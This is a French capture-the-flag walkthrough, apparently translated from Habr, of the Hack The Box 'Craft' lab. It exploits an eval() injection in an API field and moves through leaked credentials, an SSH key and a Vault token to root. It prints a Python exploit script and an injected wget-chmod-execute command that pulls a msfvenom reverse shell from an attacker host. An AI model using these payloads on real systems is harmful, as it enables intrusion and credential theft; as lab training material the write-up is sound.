Hack The Box - Procédure pas à pas. Nous creusons dans Git, exploitons les vulnérabilités de l'API, traitons avec Vault

image

Dans cet article, je vais commencer à publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Nous verrons comment vous pouvez exploiter RCE dans l'API, explorer les référentiels Gogs, travailler avec des bases de données et gérer le système de stockage et de gestion des secrets de Vault.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur professionnel ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • recherche et exploitation des vulnérabilités WEB.

En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.

Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une chaîne dans Telegram et un groupe pour discuter de tout problème dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations personnelles et répondrai à tout le monde .

Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.

Intelligence


Balayage de port


Cette machine a une adresse IP de 10.10.10.110, que j'ajoute à / etc / hosts.
10.10.10.110 craft.htb
Tout d'abord, nous analysons les ports ouverts à l'aide de nmap et spécifions l'option -A pour obtenir autant d'informations que possible sur les services découverts.
 nmap -A craft.htb 

image

Sur la machine, nous voyons le service ssh, ainsi qu'un serveur Web fonctionnant sur le port 443. Si vous allez sur le serveur Web, il nous est proposé de regarder l'API.

image

Lorsque nous essayons de regarder l'API et git, on nous parle de sites inconnus.

image

Par conséquent, nous ajoutons les deux noms de domaine à / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb


Maintenant, les deux liens s'ouvrent. L'API Craft est censée être une interface pour travailler avec l'API, donc pour les débutants, nous devons comprendre comment cela fonctionne, avec lequel Gogs nous aidera.

image

Point d'entrée


Dans git, la première chose à vérifier est les commits.

image

Après avoir passé les commits, dans 10e3ba4f0a, nous trouvons les données d'authentification de l'utilisateur.

image

Une fois connecté à Gogs par correspondance, nous trouvons une mention sur le bug.

image

En cliquant sur le lien, nous découvrons comment s'effectue la vérification dans la fonction eval (), ce qui est très dangereux, puisque vous pouvez exécuter du code dans cette fonction.

image

Pour tester l'hypothèse, dans la console python locale, nous allons faire un analogue de la fonction, et essayer d'appeler la fonction «system ()» à partir du module «os».

image

Le code a été exécuté avec succès! Vous devez maintenant écrire un exploit afin de rétablir la connexion. À la première étape, copiez le code d'authentification et de réception de jetons.
 #!/usr/bin/env python import requests import json response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV... should fail. print("Create bogus ABV brew") brew_dict = {} brew_dict['abv'] = '15.0' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text) 

Dans ce code, notre charge est passée dans le paramètre "abv", donc pour vérifier l'hypothèse RCE, nous remplaçons la chaîne '15 .0 'par "__import __ (' os '). System (' ping your_ip ')".

Nous ouvrons tcpdump, indiquant quelle interface écouter et filtrer uniquement les paramètres des paquets ICMP et lancer l'exploit.

image

image

Nous observons que nous avons pu nous cingler à partir d'un hôte distant. Maintenant, nous lançons le back-connect. Cela peut être fait via nc, mais prenons un shell mètre-mètre. Pour ce faire, générez une charge à l'aide de msfvenom. Nous spécifions la charge elle-même (reverse_tcp), l'hôte local et le port (LHOST, LPORT), et le format de fichier est elf.

image

En même temps, nous activons le serveur Web local. Configurez maintenant l'écouteur dans msfconsole. Pour ce faire, définissez les paramètres, comme dans la charge.

image

Nous écoutons les connexions entrantes, maintenant nous devons charger la charge sur l'hôte et la démarrer.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
Dans la fenêtre métasplit, nous voyons une connexion entrante.

image

UTILISATEUR


Lançons le shell et voyons avec qui nous travaillons.

image

Selon la conclusion du terminal, nous pouvons supposer que nous sommes à l'intérieur du conteneur Docker. Jetez un oeil à l'hôte.

image

Il existe un fichier exécutable dbtest.py. Vous devriez le regarder.

image

Le programme se connecte à la base de données et exécute la commande avec la sortie suivante. Regardons autour de la base de données. Pour ce faire, j'ai lancé la console python interactive sur l'hôte et copié tout le code dedans avant l'exécution de la commande.

image

Nous allons maintenant demander des tableaux.

image

En conséquence, nous avons renvoyé 2 enregistrements. Étant donné que le curseur.fetchone () génère une entrée, nous effectuerons deux de ces sorties.

image

Nous avons donc eu 2 tables. L'utilisateur est plus intéressant. Nous affichons toutes les données de ce tableau.

image

Et il y a 3 entrées dedans.

image

Et nous obtenons des crédits utilisateurs. Après les avoir essayés sur ssh et ayant échoué, nous essayons d'entrer dans git. Et il s'avère que vous vous connectez en tant que gilfoyle. Et il a un référentiel fermé.

image

image

Le répertoire .ssh est très intéressant. Il y a deux clés et nous récupérons la clé privée.

image

Nous essayons de nous connecter via ssh avec cette clé.

image

RACINE


La première chose à regarder dans le répertoire de l'utilisateur.

image

Nous trouvons un jeton dans le coffre-fort.

image

Après avoir traité du coffre - fort , je dirai qu'il s'agit d'un système de stockage et de gestion des secrets qui contient des données au format clé / valeur, accessibles par un jeton. Vérifiez si le stockage est configuré.

image

Jetons un œil à la liste des secrets .

image

Ainsi, nous voyons que l' accès à ssh est configuré .

image

Maintenant, nous entrons le mot de passe unique qui nous a été donné et nous sommes dans le système en tant que root.

image

Vous pouvez nous rejoindre sur Telegram . Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pouvons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

Source: https://habr.com/ru/post/fr482970/


All Articles